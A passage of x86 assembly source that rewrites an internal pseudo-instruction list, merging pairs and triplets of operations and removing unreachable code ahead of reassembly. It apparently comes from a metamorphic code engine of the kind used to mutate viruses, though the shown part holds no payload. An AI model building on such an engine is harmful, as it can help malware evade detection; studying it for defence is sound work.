jnz @@Double_Next09
mov eax, [edi]
and eax, 0FFh
cmp eax, 01h ; ADD Reg,Imm + ADD Reg,Reg2?
jnz @@Double_Next09
mov eax, [esi+1]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next09
mov eax, [edi+1]
mov [esi+2], eax
mov eax, [esi+7]
mov [esi+3], eax
mov eax, [esi+1]
mov [esi+7], eax
mov eax, 0FCh ; Merge to LEA
jmp @@Double_Next_SetInstruction
@@Double_Next09:
mov eax, [esi]
and eax, 0FFh
cmp eax, 01h ; ADD Reg,Reg?
jnz @@Double_Next10
mov eax, [edi]
and eax, 0FFh
or eax, eax ; ADD Reg,Imm?
jnz @@Double_Next10
mov eax, [esi+7]
cmp al, [edi+1]
jnz @@Double_Next10
mov eax, [esi+1]
mov [esi+2], al
mov eax, [esi+7]
mov [esi+1], al
mov eax, [edi+7]
mov [esi+3], eax
mov eax, 0FCh ; Merge to LEA
jmp @@Double_Next_SetInstruction
@@Double_Next10:
xor eax, eax
mov al, [esi]
cmp eax, 4Ch ; Generic OP?
ja @@Double_Next11
mov al, [edi]
cmp eax, 4Ch ; Generic OP + Generic OP?
ja @@Double_Next11
mov eax, [esi]
and eax, 7
cmp eax, 4 ; OP Mem,Imm + Generic OP?
jz @@Double_Next10_OPMemImm
or eax, eax ; OP Reg,Imm + Generic OP?
jnz @@Double_Next11
@@Double_Next10_OPRegImm:
mov eax, [edi]
and eax, 7
or eax, eax ; OP Reg,Imm + OP Reg,Imm?
jnz @@Double_Next11
mov eax, [esi+1]
cmp al, [edi+1] ; 1st Reg == 2nd Reg?
jnz @@Double_Next11
xor ebx, ebx
@@Double_Next_CalculateOperation:
push ebx
mov ecx, [esi+7]
mov edx, [edi+7]
@@Double_Next_CalculateOperation_2:
mov eax, [edi]
and eax, 78h ; Get 2nd OP
mov ebx, eax
mov eax, [esi]
and eax, 78h ; Get 1st OP
call CalculateOperation ; Merge the operations
pop ebx
cmp eax, 0FEh ; Can be merged?
jz @@Double_End ; If not, check triplet
cmp eax, 0FFh ; OP Reg,Imm + MOV Reg,Imm?
jz @@Double_Next_SetNOPAt1st ; Then, eliminate first
mov [esi+7], ecx
add eax, ebx ; Set merged operation
jmp @@Double_Next_SetInstruction
@@Double_Next_SetNOPAt1st:
mov eax, 0FFh ; Set NOP at first instruction
mov [esi], al
jmp @@EndCompressed ; Return with success
@@Double_Next10_OPMemImm:
mov eax, [edi]
and eax, 7
cmp eax, 4 ; OP Mem,Imm + OP Mem,Imm?
jnz @@Double_Next11
mov eax, [esi+1]
cmp eax, [edi+1] ; Are mem operands the same?
jnz @@Double_Next11
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_Next11
mov ebx, 4 ; If so, jump to try merging OPs
jmp @@Double_Next_CalculateOperation
@@Double_Next11:
xor eax, eax
mov al, [esi] ; Do the same as above, but with
cmp eax, 00h+80h ; 8 bits operations
jb @@Double_Next12
cmp eax, 4Ch+80h
ja @@Double_Next12
mov al, [edi]
cmp eax, 00h+80h
jb @@Double_Next12
cmp eax, 4Ch+80h
ja @@Double_Next12
mov eax, [esi]
and eax, 7
cmp eax, 4
jz @@Double_Next11_OPMemImm_8b
or eax, eax
jnz @@Double_Next12
@@Double_Next11_OPRegImm_8b:
mov eax, [edi]
and eax, 7
or eax, eax
jnz @@Double_Next12
mov ebx, 80h
@@Double_Next11_CalculateOperation_8b:
push ebx
xor eax, eax
mov al, [esi+7]
mov ecx, eax
mov al, [edi+7]
mov edx, eax
jmp @@Double_Next_CalculateOperation_2
@@Double_Next11_OPMemImm_8b:
mov eax, [edi]
and eax, 7
cmp eax, 4
jnz @@Double_Next12
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_Next12
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_Next12
mov ebx, 84h
jmp @@Double_Next11_CalculateOperation_8b
@@Double_Next12:
xor eax, eax
mov al, [esi]
cmp eax, 0FCh ; LEA?
jnz @@Double_Next13
mov al, [edi]
cmp eax, 01h ; LEA + ADD Reg,Reg?
jz @@Double_Next12_MergeLEAADDReg
or eax, eax ; LEA + ADD Reg,Imm?
jnz @@Double_Next13
@@Double_Next12_MergeLEAADD:
mov eax, [esi+7] ; Check if destiny in LEA is the same
cmp al, [edi+1] ; as destiny in ADD
jnz @@Double_Next13
mov eax, [edi+7] ; If so, add the Imm of the ADD to the
add [esi+3], eax ; dword addition in the LEA and set
jmp @@Double_Next_SetNOP ; NOP at first instruction
@@Double_Next12_MergeLEAADDReg:
mov eax, [esi+7]
cmp al, [edi+7] ; Check if destinies are the same
jnz @@Double_Next13
mov eax, 8
cmp al, [esi+1] ; Look for a free space to insert the
jz @@Double_Next12_SetFirstReg ; register addition in the
cmp al, [esi+2] ; LEA
jz @@Double_Next12_SetSecondReg
mov eax, [edi+1] ; If the register is already inserted,
cmp al, [esi+2] ; set a *2 in the multiplicator
jz @@Double_Next12_AddScalar
cmp al, [esi+1]
jnz @@Double_Next13
mov eax, [esi+2]
cmp al, 40h ; If multiplicator is already *2 or
jae @@Double_Next13 ; greater, don't shrink
push eax ; Exchange registers, to set the one
mov eax, [esi+1] ; repeated in the second slot of the
add eax, 40h ; indexes.
mov [esi+2], al ; Set *2
pop eax
mov [esi+1], al
jmp @@Double_Next_SetNOP ; Eliminate first instruction
@@Double_Next12_AddScalar:
mov eax, [esi+2] ; Set *2 to the second index
add eax, 40h
mov [esi+2], al
jmp @@Double_Next_SetNOP
@@Double_Next12_SetFirstReg:
mov eax, [edi+1] ; Set a new index register
mov [esi+1], al
jmp @@Double_Next_SetNOP
@@Double_Next12_SetSecondReg:
mov eax, [edi+1] ; Set a new second index register
mov [esi+2], al
jmp @@Double_Next_SetNOP
@@Double_Next13:
xor eax, eax
mov al, [esi]
cmp eax, 4Fh ; MOV Mem,Mem?
jnz @@Double_Next14
mov al, [edi]
cmp eax, 4Fh ; MOV Mem,Mem2 + MOV Mem2,Mem3?
jz @@Double_Next13_MergeMOVs ; Then, merge them
cmp eax, 4Ch
ja @@Double_Next13_NotOPRegMem
@@Double_Next13_OPRegMem_2:
and eax, 7
cmp eax, 2 ; MOV Mem,Mem2 + OP Reg,Mem?
jz @@Double_Next13_OPRegMem
mov al, [edi]
jmp @@Double_Next13_NotOPRegMem2
@@Double_Next13_NotOPRegMem:
cmp eax, 00h+80h ; Same with 8 bits?
jb @@Double_Next13_NotOPRegMem2
cmp eax, 4Ch+80h
jbe @@Double_Next13_OPRegMem_2
@@Double_Next13_NotOPRegMem2:
cmp eax, 43h ; Merge MOVs
jz @@Double_Next13_MOVMemReg
; cmp eax, 0FBh
; jz @@Double_Next13_MOVMemReg
cmp eax, 0F6h ; APICALL_STORE = MOV Mem,EAX
jz @@Double_Next13_MOVMemReg
cmp eax, 44h ; MOV Mem,Mem2 + MOV Mem2,Imm?
jz @@Double_Next13_MOVMemImm
cmp eax, 0EAh ; MOV Mem,Mem2 + CALL Mem?
jz @@Double_Next13_CALLMem
cmp eax, 0EBh ; MOV Mem,Mem2 + JMP Mem?
jnz @@Double_Next14
@@Double_Next13_JMPMem:
@@Double_Next13_CALLMem:
@@Double_Next13_OPRegMem:
mov ebx, [esi+7] ; Merge Mem operands
mov eax, [ebx+1]
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Double_Next14
mov eax, [esi+1]
mov [edi+1], eax
mov eax, [esi+3]
mov [edi+3], eax
jmp @@Double_Next_SetNOPAt1st
@@Double_Next13_MergeMOVs:
mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Mem3 =
mov eax, [ebx+1] ; = MOV Mem,Mem3
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Double_Next14
mov eax, [edi+7]
mov [esi+7], eax
mov [eax+7], esi
jmp @@Double_Next_SetNOP
@@Double_Next13_MOVMemReg:
@@Double_Next13_MOVMemImm:
mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Reg/Imm =
mov eax, [ebx+1] ; = MOV Mem,Reg/Imm
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jz @@Double_Next_SetNOPAt1st
@@Double_Next14:
xor eax, eax
mov al, [esi]
cmp eax, 70h ; Jcc?
jb @@Double_Next15
cmp eax, 7Fh
ja @@Double_Next15
mov al, [edi]
cmp eax, 0E9h ; Jcc + JMP?
jz @@Double_Next14_CheckJMP
cmp eax, 70h
jb @@Double_Next15
cmp eax, 7Fh ; Jcc + Jcc?
ja @@Double_Next15
mov eax, [edi+1] ; Check if they point to the next
cmp eax, [esi+1] ; label
jnz @@Double_Next15
mov eax, [esi]
and eax, 0Fh
mov ebx, eax
mov eax, [edi]
and eax, 0Fh
; EAX = Flag test 1
; EBX = Flag test 2
call GetRealCheck ; Merge the flag checking
cmp eax, 0FFh
jz @@Double_End
add eax, 70h ; Add 70 to the result
cmp eax, 0E9h ; If Jcc + Jcc == JMP, set it, and jump
jz @@Double_Next32_JMP ; to eliminate the code until the
; next label
jmp @@Double_Next_SetInstruction
@@Double_Next14_CheckJMP:
mov eax, [edi+1] ; Jcc @123 + JMP @123 = JMP @123
cmp eax, [esi+1]
jz @@Double_Next_SetNOPAt1st
jmp @@Double_End
@@Double_Next15:
; mov edx, 40h
; call Check_OP_MOV
; cmp eax, 0FFh ; This makes many problems!
; jz @@Double_Next_SetNOPAt1st ;
; Disabled.
@@Double_Next16:
; mov edx, 0C0h
; call Check_OP_MOV
; cmp eax, 0FFh
; jz @@Double_Next_SetNOPAt1st
@@Double_Next17:
xor eax, eax
mov al, [esi]
cmp eax, 0E0h ; NOT Reg?
jnz @@Double_Next18
mov ebx, 0E4h ; NOT Reg + NEG Reg?
xor ecx, ecx
mov edx, 1 ; Set ADD Reg,1
@@Double_Next_Check_NOT_OP:
xor eax, eax
mov al, [edi]
cmp eax, ebx ; 0E4h
jz @@Double_Next17_ADDReg ; Check NOT/NEG + ADD,1/-1
cmp eax, ecx ; 00h
jnz @@Double_End
@@Double_Next17_NEGReg:
mov eax, [esi+1]
cmp al, [edi+1]
jnz @@Double_End
@@Double_Next17_NEGReg_2:
test ebx, 2
jz @@Double_Next17_Get32
xor eax, eax
mov al, [edi+7]
cmp eax, 80h
jb @@Double_Next17_Cont00
add eax, 0FFFFFF00h
jmp @@Double_Next17_Cont00
@@Double_Next17_Get32:
mov eax, [edi+7]
@@Double_Next17_Cont00:
cmp eax, edx
jnz @@Double_End
mov eax, ebx ; NEG
jmp @@Double_Next_SetInstruction
@@Double_Next17_ADDReg:
mov eax, [esi+1]
cmp al, [edi+1]
jnz @@Double_End
@@Double_Next17_ADDReg_2:
mov eax, edx
mov [esi+7], eax
mov eax, ecx
jmp @@Double_Next_SetInstruction
@@Double_Next18:
;mov al, [esi]
cmp eax, 0E2h ; Check NOT Reg8 + NEG Reg8/ADD Reg8,1
jnz @@Double_Next19
mov ebx, 0E6h
mov ecx, 80h
mov edx, 1 ; If so, set ADD Reg8,1/NEG Reg8
jmp @@Double_Next_Check_NOT_OP
@@Double_Next19:
;mov al, [esi]
cmp eax, 0E4h ; NEG Reg + NOT Reg/ADD Reg,-1?
jnz @@Double_Next20
mov ebx, 0E0h
xor ecx, ecx
mov edx, -1 ; If so, set ADD Reg,-1/NOT Reg
jmp @@Double_Next_Check_NOT_OP
@@Double_Next20:
;mov al, [esi]
cmp eax, 0E6h ; NEG Reg8 + NOT Reg8/ADD Reg8,-1?
jnz @@Double_Next21
mov ebx, 0E2h
mov ecx, 80h
mov edx, -1 ; Set ADD Reg8,-1/NOT Reg8
jmp @@Double_Next_Check_NOT_OP
@@Double_Next21:
cmp eax, 0E1h ; NOT Mem + NEG Mem/ADD Mem,1?
jnz @@Double_Next22
mov ebx, 0E5h
mov ecx, 4
mov edx, 1 ; Then, set ADD Mem,1/NEG Mem
@@Double_Next_Check_NOT_OP_Mem:
xor eax, eax
mov al, [edi]
cmp eax, ebx
jz @@Double_Next21_ADDMem
cmp eax, ecx
jnz @@Double_End
@@Double_Next21_NEGMem:
mov eax, [esi+1] ; Check if operands are the same
cmp eax, [edi+1]
jnz @@Double_End
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_End
xor eax, eax
jmp @@Double_Next17_NEGReg_2
@@Double_Next21_ADDMem:
mov eax, [esi+1] ; Check NOT/NEG + ADD,1/-1
cmp eax, [edi+1]
jnz @@Double_End
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_End
xor eax, eax
jmp @@Double_Next17_ADDReg_2
@@Double_Next22:
cmp eax, 0E3h ; NOT Mem8 + NEG Mem8/ADD Mem,1?
jnz @@Double_Next23
mov ebx, 0E7h
mov ecx, 84h
mov edx, 1 ; Set ADD Mem8,1/NEG Mem8
jmp @@Double_Next_Check_NOT_OP_Mem
@@Double_Next23:
cmp eax, 0E5h ; NEG Mem + NOT Mem/ADD Mem,-1?
jnz @@Double_Next24
mov ebx, 0E1h
mov ecx, 4
mov edx, -1 ; Set ADD Mem,-1/NOT Mem
jmp @@Double_Next_Check_NOT_OP_Mem
@@Double_Next24:
cmp eax, 0E7h ; NEG Mem8 + NOT Mem8/ADD Mem8,-1?
jnz @@Double_Next25
mov ebx, 0E3h
mov ecx, 84h
mov edx, -1 ; Set ADD Mem8,-1/NOT Mem8
jmp @@Double_Next_Check_NOT_OP_Mem
; Next four conditions are also disabled. They would work theorically, but they
; don't in practice :/
@@Double_Next25:
; cmp eax, 38h
; jb @@Double_Next26
; cmp eax, 3Ch
; ja @@Double_Next26
; @@Double_Next_CheckComparision:
; mov al, [edi]
; cmp eax, 70h
; jb @@Double_Next_NoComparision
; cmp eax, 7Fh
; jbe @@Double_End
; @@Double_Next_NoComparision:
; jmp @@Double_Next_SetNOPAt1st
@@Double_Next26:
; ;mov al, [esi]
; cmp eax, 38h+80h
; jb @@Double_Next27
; cmp eax, 3Ch+80h
; jbe @@Double_Next_CheckComparision
@@Double_Next27:
; ;mov al, [esi]
; cmp eax, 48h
; jb @@Double_Next28
; cmp eax, 4Ch
; jbe @@Double_Next_CheckComparision
@@Double_Next28:
; ;mov al, [esi]
; cmp eax, 48h+80h
; jb @@Double_Next29
; cmp eax, 4Ch+80h
; jbe @@Double_Next_CheckComparision
@@Double_Next29:
cmp eax, 0EAh ; CALL Mem + MOV Mem,EAX?
jnz @@Double_Next30_
@@Double_Next29_CheckAPICALL_STORE:
mov al, [edi]
cmp eax, 43h
jnz @@Double_End
mov al, [edi+7] ; Check EAX
or eax, eax
jnz @@Double_End
mov eax, 0F6h
mov [edi], al ; Set APICALL_STORE
xor eax, eax
mov [edi+7], eax ; If we put 0 here we can treat this as
jmp @@EndCompressed ; an special opcode 43h (MOV Mem,Reg)
@@Double_Next30_:
@@Double_Next30:
cmp eax, 0ECh ; Check CALL Reg + MOV Mem,EAX?
jz @@Double_Next29_CheckAPICALL_STORE ; Check APICALL_STORE
@@Double_Next31:
cmp eax, 42h ; MOV Reg,Mem?
jnz @@Double_Next32
mov eax, [edi]
and eax, 0FFh
cmp eax, 20h ; MOV Reg,Mem + AND Reg,0FF?
jz @@Double_Next31_MaybeMOVZX ; Set MOVZX
mov al, [esi+7]
cmp eax, 2 ; EAX,ECX,EDX? (it only uses these three)
ja @@Double_Next32
cmp al, [edi+1]
jnz @@Double_Next32
mov al, [edi]
cmp eax, 0ECh ; CALL Reg?
jnz @@Double_Next32
sub eax, 2 ; MOV Reg,Mem + CALL Reg = CALL Mem
jmp @@Double_Next_SetInstruction
@@Double_Next31_MaybeMOVZX:
mov eax, [edi+7] ; Check MOVZX. We check if the destiny
cmp eax, 0FFh ; registers are the same one
jnz @@Double_Next32
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next32
mov eax, [esi+1]
and eax, 0FFh ; MOV Reg,[Reg]?
cmp eax, ebx
jz @@Double_Next32
mov eax, [esi+2]
and eax, 0Fh
cmp eax, ebx
jz @@Double_Next32
mov eax, 0F8h ; Set MOVZX Reg,byte ptr Mem
jmp @@Double_Next_SetInstruction
@@Double_Next32:
xor eax, eax
mov al, [esi]
cmp eax, 39h ; CMP Reg,Reg?
jnz @@Double_Next33
@@Double_Next32_Common:
mov al, [edi]
cmp eax, 70h ; CMP Reg,Reg + Jcc @xxx?
jb @@Double_End
cmp eax, 7Fh
ja @@Double_End
mov al, [esi+1]
mov ebx, eax ; If source and destiny in CMP aren't
mov al, [esi+7] ; the same, it's not a camuflated JMP
cmp eax, ebx
jnz @@Double_End
mov eax, [edi] ; Check flags when we jump for sure
and eax, 07h ; and when the two instructions do
cmp eax, 1 ; nothing.
jz @@Double_Next32_JMP
cmp eax, 6
jz @@Double_Next32_JMP
mov eax, [edi]
and eax, 0Fh
cmp eax, 2
jbe @@Double_Next32_NOP
cmp eax, 4
jbe @@Double_Next32_JMP
cmp eax, 0Ah
jz @@Double_Next32_JMP
cmp eax, 0Dh
jz @@Double_Next32_JMP
@@Double_Next32_NOP:
mov eax, 0FFh ; Set NOP in JO,JB,JNZ,JA,JS,JNP,JL,JG
mov [edi], eax
jmp @@EndCompressed
@@Double_Next32_JMP:
mov eax, 0E9h ; Set JMP in JNO,JAE,JZ,JBE,JNS,JP,JGE,JLE
mov [edi], al
mov edx, edi
; After the jump, we eliminate all the instructions until the next labelled
; instruction. That instructions are never executed, so we NOP them to avoid
; its reassembly.
@@Double_Next32_EliminateNonReachableCode:
add edx, 10h
cmp edx, [ebp+AddressOfLastInstruction]
jae @@EndCompressed
mov al, [edx+0Bh] ; Check label mark
or eax, eax
jnz @@EndCompressed
mov eax, 0FFh
mov [edx], eax
jmp @@Double_Next32_EliminateNonReachableCode
@@Double_Next33:
cmp eax, 39h+80h ; Do the same with CMP Reg8,Reg8
jz @@Double_Next32_Common
@@Double_End:
;; Here we check triplets of instructions and merge them into one.
@@Check_Triple:
mov edx, esi
mov esi, edi
call IncreaseEIP
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndNoCompressed
xor eax, eax
mov al, [edi+0Bh]
or eax, eax
jnz @@EndNoCompressed ; No compress if a label is pointing
; the last instruction
; Check triplet in [edx],[esi],[edi]
@@Triple_Next00:
;xor eax, eax
mov al, [edx]
cmp eax, 43h ; MOV Mem,Reg?
jnz @@Triple_Next01
mov eax, [edx+1] ; Check mem operands
cmp eax, [esi+1]
jnz @@Triple_Next01
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_Next01
mov eax, [edi]
cmp al, 42h ; 3rd instruction == MOV Reg,Mem?
jz @@Triple_Next00_Constr00
cmp al, 70h ; 3rd instr. == Jcc?
jb @@Triple_Next01
cmp al, 7Fh
ja @@Triple_Next01
mov eax, [esi]
and eax, 0F8h ; Get the comparision
or eax, eax
jz @@Triple_Next00_Maybe01
cmp eax, 28h ; SUB?
jz @@Triple_Next00_Maybe01
cmp eax, 38h ; CMP?
jz @@Triple_Next00_Maybe01
cmp eax, 48h ; TEST?
jz @@Triple_Next00_Maybe01
cmp eax, 20h ; AND?
jnz @@Triple_End
@@Triple_Next00_Maybe01:
xor ebx, ebx
@@Triple_Next00_CheckCMPTEST:
mov eax, [esi] ; Get the operation being performed
and eax, 07Fh
cmp eax, 48h ; If test, jump
jb @@Triple_Next00_CheckCMPTEST_00
and eax, 7
cmp eax, 2 ; Check if it's OP Reg,Mem
jz @@Triple_Next00_CMPTESTRegReg
jmp @@Triple_Next00_CheckCMPTEST_01
@@Triple_Next00_CheckCMPTEST_00:
and eax, 7
cmp eax, 3 ; Check if it's OP Mem,Reg
jz @@Triple_Next00_CMPTESTRegReg
@@Triple_Next00_CheckCMPTEST_01:
cmp eax, 4 ; Check if it's OP Mem,Imm
jnz @@Triple_End
@@Triple_Next00_CMPTESTRegImm:
mov eax, [edx+7]
mov [esi+1], al ; Set CMP/TEST Reg,Imm
; xor ebx, ebx
@@Triple_Next00_SET_CMPTEST:
mov eax, [esi]
and eax, 78h
cmp eax, 48h ; Check TEST
jz @@Triple_Next00_SetInstruction
cmp eax, 20h ; Check AND
jz @@Triple_Next00_Cont80
cmp eax, 38h ; Check CMP
jz @@Triple_Next00_SetInstruction
or eax, eax ; Check ADD (maybe is a conversion
jz @@Triple_Next00_NegateImm ; of SUB Reg,Imm)
@@Triple_Next00_SetCMP:
mov eax, 38h ; Set CMP if it's SUB/CMP
jmp @@Triple_Next00_SetInstruction
@@Triple_Next00_NegateImm:
mov eax, [esi+7]
neg eax ; If it's ADD is because I converted the
mov [esi+7], eax ; SUB as a single instruction before
jmp @@Triple_Next00_SetCMP
@@Triple_Next00_Cont80:
mov eax, 48h ; Set TEST if it's TEST/AND
@@Triple_Next00_SetInstruction:
add eax, ebx
mov [esi], al
mov eax, 0FFh
mov [edx], al
jmp @@EndCompressed
@@Triple_Next00_CMPTESTRegReg:
mov eax, [esi]
and eax, 78h
or eax, eax ; ADD?
jz @@Triple_End ; If so, finish
mov eax, [esi+7]
mov [esi+1], al
mov eax, [edx+7]
mov [esi+7], al
add ebx, 1
jmp @@Triple_Next00_SET_CMPTEST
@@Triple_Next00_Constr00:
mov eax, [esi]
cmp al, 4Ch ; Common OP?
ja @@Triple_Next01
xor ebx, ebx
@@Triple_Next00_Common:
mov eax, [esi]
and eax, 78h ; Get instruction
cmp eax, 48h ; If it's not TEST, finish
jb @@Triple_Next00_Common_00
mov eax, [esi]
and eax, 7
cmp eax, 2 ; Check TEST Reg,Mem
jz @@Triple_Next00_Maybe00
jmp @@Triple_Next00_Common_01
@@Triple_Next00_Common_00:
mov eax, [esi]
and al, 7
cmp al, 3 ; Check OP Mem,Reg
jz @@Triple_Next00_Maybe00
@@Triple_Next00_Common_01:
cmp al, 4 ; Check OP Mem,Imm
jnz @@Triple_End
@@Triple_Next00_Maybe00:
mov eax, [edx+1] ; Check the Mem operand among the
cmp eax, [esi+1] ; instructions
jnz @@Triple_End
cmp eax, [edi+1]
jnz @@Triple_End
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_End
cmp eax, [edi+3]
jnz @@Triple_End
mov eax, [edx+7]
cmp al, [edi+7]
jnz @@Triple_End
mov eax, [esi]
and eax, 78h
cmp eax, 48h ; Get if it's TEST
jb @@Triple_Next00_00
mov eax, [esi]
and eax, 7 ; Check TEST Reg,Mem
cmp eax, 2
jz @@Triple_Next00_Maybe_OPRegReg ; Jump here if it is
jmp @@Triple_Next00_01
@@Triple_Next00_00:
mov eax, [esi]
and eax, 7 ; Check OP Mem,Reg
cmp eax, 3
jz @@Triple_Next00_Maybe_OPRegReg
@@Triple_Next00_01:
mov eax, [edx+7]
mov [edx+1], al
mov eax, [esi+7]
mov [edx+7], eax
mov eax, [esi]
and eax, 78h
add eax, ebx ; Set the instruction with the EBX
@@Triple_Next_SetInstruction: ; operands type (Reg,Imm, Reg,Reg, etc.)
mov [edx], al
@@Triple_Next_SetNOP:
mov eax, 0FFh
mov [esi], al
mov [edi], al ; Eliminate the 2nd and 3rd instruction
jmp @@EndCompressed
@@Triple_Next00_Maybe_OPRegReg:
mov eax, [esi+7]
mov [edx+1], eax
mov eax, [edi+7]
mov [edx+7], eax
mov eax, [esi]
and eax, 0F8h ; Set CMP/TEST Reg,Reg
add eax, 1
jmp @@Triple_Next_SetInstruction
@@Triple_Next01:
mov eax, [edx]
cmp al, 43h+80h ; Check the same as above, but this
jnz @@Triple_Next02 ; time with 8 bits instructions. Since
mov eax, [edx+1] ; there are many different opcodes,
cmp eax, [esi+1] ; it's not worthy to try to merge it
jnz @@Triple_Next02 ; with the routine above, but all the
mov eax, [edx+3] ; others that check the possibility of
cmp eax, [esi+3] ; compression are from there, linking
jnz @@Triple_Next02 ; the possibilities with Jccs.
mov eax, [edi]
cmp al, 42h+80h
jz @@Triple_Next01_Constr00
cmp al, 70h
jb @@Triple_Next02
cmp al, 7Fh
ja @@Triple_Next02
mov eax, [esi]
and eax, 0F8h
cmp eax, 00h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 28h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 38h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 48h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 20h+80h
jnz @@Triple_End
@@Triple_Next01_Maybe01:
mov ebx, 80h
jmp @@Triple_Next00_CheckCMPTEST
@@Triple_Next01_Constr00:
mov ebx, 80h
mov eax, [esi]
cmp al, 4Ch+80h
ja @@Triple_Next02 ; Well, at least we achieved to
cmp al, 00h+80h ; use as many instructions from the
jae @@Triple_Next00_Common ; @@Triple_Next00 as we can :)
@@Triple_Next02:
mov eax, [edx]
cmp al, 4Fh ; MOV Mem,Mem?
jnz @@Triple_Next03
mov eax, [edi]
cmp al, 70h ; Jcc in 3rd?
jb @@Triple_Next02_ContCheck
cmp al, 7Fh
ja @@Triple_Next02_ContCheck
mov ebx, [edx+7] ; Get the destiny address and check
mov eax, [ebx+1] ; if first and second instruction
cmp eax, [esi+1] ; use the same operand.
jnz @@Triple_End
mov eax, [ebx+3]
cmp eax, [esi+3]
jnz @@Triple_End
mov eax, [esi]
and eax, 78h ; Check for comparisions:
cmp eax, 20h ; AND?
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 28h ; SUB?
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 38h ; CMP?
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 48h ; TEST?
jnz @@Triple_Next03
@@Triple_Next02_CheckCMPTESTRegMem:
@@Triple_Next02_CheckCMPTESTMemReg:
mov eax, [edx+1]
mov [esi+1], eax
mov eax, [edx+3]
mov [esi+3], eax
mov eax, 0FFh
mov [edx], eax
mov eax, [esi]
and eax, 78h
cmp eax, 38h ; CMP?
jz @@EndCompressed
cmp eax, 48h ; TEST?
jz @@EndCompressed
cmp eax, 20h ; AND?
jz @@Triple_Next02_SetTEST
mov ebx, 10h ; Transform from SUB to CMP
@@Triple_Next02_ConvertInstruction:
mov eax, [esi] ; Set the instruction
add eax, ebx
mov [esi], eax
jmp @@EndCompressed
@@Triple_Next02_SetTEST:
mov ebx, 28h ; Transform from AND to TEST
jmp @@Triple_Next02_ConvertInstruction
@@Triple_Next02_ContCheck:
;mov al, [edi]
cmp al, 4Fh ; Check the 3rd instruction for a
jnz @@Triple_Next03 ; common operation
mov eax, [esi]
cmp al, 4Ch ; Check now the 2nd instruction
jbe @@Triple_Next02_CommonOperation
cmp al, 00h+80h ; Check if it's 8 bits instructions
jb @@Triple_Next03
cmp al, 4Ch+80h
ja @@Triple_Next03
@@Triple_Next02_CommonOperation:
; cmp eax, 0FBh
; jz @@Triple_Next02_OPMemReg
cmp eax, 0F6h ; Check for APICALL_STORE
jz @@Triple_Next02_OPMemReg
and eax, 78h
cmp eax, 48h ; Check for a common instruction
jb @@Triple_Next02_00
mov eax, [esi]
and eax, 7
cmp eax, 2 ; Check if it's OP Reg,Mem in 2nd
jz @@Triple_Next02_OPMemReg
jmp @@Triple_Next02_01
@@Triple_Next02_00:
mov eax, [esi]
and eax, 7
cmp eax, 3 ; Check if it's OP Mem,Reg in 2nd
jz @@Triple_Next02_OPMemReg
@@Triple_Next02_01:
cmp eax, 4 ; OP Mem,Imm?
jnz @@Triple_End
@@Triple_Next02_OPMemImm:
@@Triple_Next02_OPMemReg:
mov ebx, [edx+7]
mov eax, [ebx+1]
cmp eax, [edi+1] ; Check Mem operands to see if the
jnz @@Triple_End ; instructions use the same one (if
cmp eax, [esi+1] ; not, we can't compress them,
jnz @@Triple_End ; obviously)
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Triple_End
cmp eax, [esi+3]
jnz @@Triple_End
mov ebx, [edi+7]
mov eax, [ebx+1]
cmp eax, [edx+1]
jnz @@Triple_End
mov eax, [ebx+3]
cmp eax, [edx+3]
jnz @@Triple_End
mov eax, [edx+1] ; Set the new Mem operand
mov [esi+1], eax
mov eax, [edx+3]
mov [esi+3], eax
@@Triple_Next_SetNOP_1_3:
mov eax, 0FFh
mov [edx], al
mov [edi], al ; Overwrite with NOP the first and
jmp @@EndCompressed ; third instruction, since we used
; the second one to put the new
; instruction.
@@Triple_Next03:
mov eax, [edx]
cmp al, 44h ; Check for MOV Mem,Imm
jnz @@Triple_Next04
mov eax, [edi]
cmp al, 42h ; MOV Mem,Imm + xxx + MOV Reg,Mem?
jz @@Triple_Next03_Constr00
cmp al, 70h ; Jcc in 3rd?
jb @@Triple_Next04
cmp al, 7Fh
ja @@Triple_Next04
mov eax, [esi]
@@Triple_Next03_Check_CMP_TEST:
cmp al, 3Ah ; CMP Reg,Mem (8 or 32 bits)
jz @@Triple_Next03_CMPRegImm
cmp al, 4Ah ; TEST Reg,Mem (" " " ")
jnz @@Triple_End
@@Triple_Next03_CMPRegImm:
@@Triple_Next03_TESTRegImm:
mov eax, [esi] ; Get 2nd instruction
and eax, 0F8h ; Convert it to OP Reg,Imm
mov [edx], al ; Set it at 1st instruction
mov eax, [esi+7]
mov [edx+1], al
mov eax, 0FFh
mov [esi], al
jmp @@EndCompressed
@@Triple_Next03_Constr00:
mov eax, [esi]
and eax, 0FFh
cmp eax, 0F6h ; Check if it's APICALL_STORE
jz @@Triple_Next03_Common_F6
; cmp eax, 0FBh
; jz @@Triple_Next03_Common_F6
cmp eax, 4Ch ; Check if it's a common operation
ja @@Triple_Next04
@@Triple_Next03_Common:
and eax, 78h
cmp eax, 48h ; Common operation?
jb @@Triple_Next03_00
mov eax, [esi]
and eax, 7
cmp eax, 2 ; Check if it's OP Reg,Mem
jz @@Triple_Next03_Common_F6
jmp @@Triple_End
@@Triple_Next03_00:
